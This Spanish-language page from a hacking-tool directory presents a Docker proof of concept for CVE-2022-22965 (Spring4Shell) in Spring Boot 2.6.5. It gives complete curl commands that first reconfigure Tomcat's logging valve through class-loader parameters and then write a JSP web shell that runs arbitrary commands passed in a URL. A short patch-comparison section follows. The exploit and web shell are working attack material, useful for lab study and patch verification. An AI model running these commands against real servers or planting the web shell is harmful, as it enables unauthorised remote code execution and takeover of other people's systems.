Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2022-22965 — Prueba de concepto basada en Docker para la vulnerabilidad de ejecución remota de código CVE-2022-22965 (Spring4Shell) en Spring Boot 2.6.5, con despliegue automatizado de webshell y comparación de parches. | Kitploit
Herramientas/GitHubGitHub/itsecurityco/cve-2022-22965
Generación de PayloadsAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de Penetración
GitHubitsecurityco/cve-2022-22965

CVE-2022-22965

Prueba de concepto basada en Docker para la vulnerabilidad de ejecución remota de código CVE-2022-22965 (Spring4Shell) en Spring Boot 2.6.5, con despliegue automatizado de webshell y comparación de parches.

Ver Repositorio
16313hace 4 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Spring Boot CVE-2022-22965

PoC con Docker para CVE-2022-22965 con Spring Boot versión 2.6.5

Shell

🚀 Primeros pasos

  1. Descargue el código de distribución desde https://github.com/itsecurityco/CVE-2022-22965/archive/refs/heads/master.zip y descomprímalo.
  2. Ejecute docker compose up --build para compilar e iniciar la aplicación vulnerable.
  3. Ejecute curl -H "Accept: text/html;" "http://localhost:8080/demo/itsecurityco?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7b%63%6f%64%65%7d%69&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=" para cambiar la configuración del valve de Tomcat.
  • Ejecute curl -H "Accept: text/html;" -H "code: <% java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter(String.valueOf(1337))).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1) { out.println(new String(b)); } %>" "http://localhost:8080/demo/x" para crear la web shell.
  • Abra su navegador y vaya a http://localhost:8080/shell.jsp?1337=id para comenzar a ejecutar comandos.

  • 🔎 Revisión del parche

    El código fuente de Spring Framework 5.3.17 (vulnerable) y Spring Framework 5.3.18 (parcheado) se puede descargar respectivamente desde:

    • https://github.com/spring-projects/spring-framework/archive/refs/tags/v5.3.17.zip
    • https://github.com/spring-projects/spring-framework/archive/refs/tags/v5.3.18.zip
    root@kitploit:~
    $ wget https://github.com/spring-projects/spring-framework/archive/refs/tags/v5.3.17.zip
    $ wget https://github.com/spring-projects/spring-framework/archive/refs/tags/v5.3.18.zip
    

    La vulnerabilidad se encuentra en el archivo /spring-beans/src/main/java/org/springframework/beans/CachedIntrospectionResults.java en la línea 290, donde se aplica validación para los métodos Class.getClassLoader() y getProtectionDomain(), pero no para los tipos ClassLoader, ProtectionDomain ni para los nombres de PropertyDescriptors.

    La diferencia entre el código vulnerable y el código parcheado se puede obtener con el comando diff.

    root@kitploit:~
    $ diff spring-framework-5.3.17/spring-beans/src/main/java/org/springframework/beans/CachedIntrospectionResults.java spring-framework-5.3.18/spring-beans/src/main/java/org/springframework/beans/CachedIntrospectionResults.java
    

    Patch


    Créditos

    • Investigación original: @p1n93r
    • Agradecimientos: @fmunoz
    Descargar herramienta